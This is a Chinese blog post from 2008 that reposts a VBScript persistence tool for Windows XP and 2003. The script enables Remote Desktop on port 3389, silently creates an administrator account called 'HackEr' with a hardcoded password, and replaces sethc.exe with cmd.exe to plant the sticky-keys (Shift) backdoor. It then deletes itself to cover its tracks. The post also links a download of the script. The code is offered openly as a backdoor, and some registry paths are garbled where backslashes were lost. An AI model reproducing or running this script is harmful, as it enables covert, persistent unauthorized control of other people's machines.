夜火博客

XP、2003开3389+非net创建管理用户+Shift后门+自删除脚本vbs

2008-02-26
技术文章
Windows
VBS
脚本Script
1分钟
171字

作者:孤狐浪子 来源:红狼

1
on error resume next
2
const HKEY_LOCAL_MACHINE = &H80000002
3
strComputer = "."
4
Set StdOut = WScript.StdOut
5
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_
6
strComputer & "
7
ootdefault:StdRegProv")
8
strKeyPath = "SYSTEMCurrentControlSetControlTerminal Server"
9
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
10
strKeyPath = "SYSTEMCurrentControlSetControlTerminal ServerWds
11
dpwdTds cp"
12
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
13
strKeyPath = "SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"
14
strKeyPath = "SYSTEMCurrentControlSetControlTerminal Server"
15
strValueName = "fDenyTSConnections"
18 collapsed lines
16
dwValue = 0
17
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
18
strKeyPath = "SYSTEMCurrentControlSetControlTerminal ServerWds
19
dpwdTds cp"
20
strValueName = "PortNumber"
21
dwValue = 3389
22
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
23
strKeyPath = "SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"
24
strValueName = "PortNumber"
25
dwValue = 3389
26
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
27
on error resume next
28
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="HackEr":password="393214425":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
29
On Error Resume Next
30
Dim obj, success
31
Set obj = CreateObject("WScript.Shell")
32
success = obj.run("cmd /c takeown /f %SystemRoot%system32sethc.exe&echo y| cacls %SystemRoot%system32sethc.exe /G %USERNAME%:F© %SystemRoot%system32cmd.exe %SystemRoot%system32acmd.exe© %SystemRoot%system32sethc.exe %SystemRoot%system32asethc.exe&del %SystemRoot%system32sethc.exe&ren %SystemRoot%system32acmd.exe sethc.exe", 0, True)
33
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

BY:孤狐浪子 QQ:393214425 BLOG

.blog.163.com

附件下载地址: [开3389+非net创建管理用户+Shift后门+自删除脚本.rar](/blog/download.asp?id=52 “http://201314.free.fr/attachments/200801/%bf%aa3389_%b7%c7net%b4%b4%bd%a8%b9%dc%c0%ed%d3%c3%bb%a7_shift%ba%f3%c3%c5_%d7%d4%c9%be%b3%fd%bd%c5%b1%be.rar” (1 KB)

本文标题:XP、2003开3389+非net创建管理用户+Shift后门+自删除脚本vbs
文章作者:夜火
发布时间:2008-02-26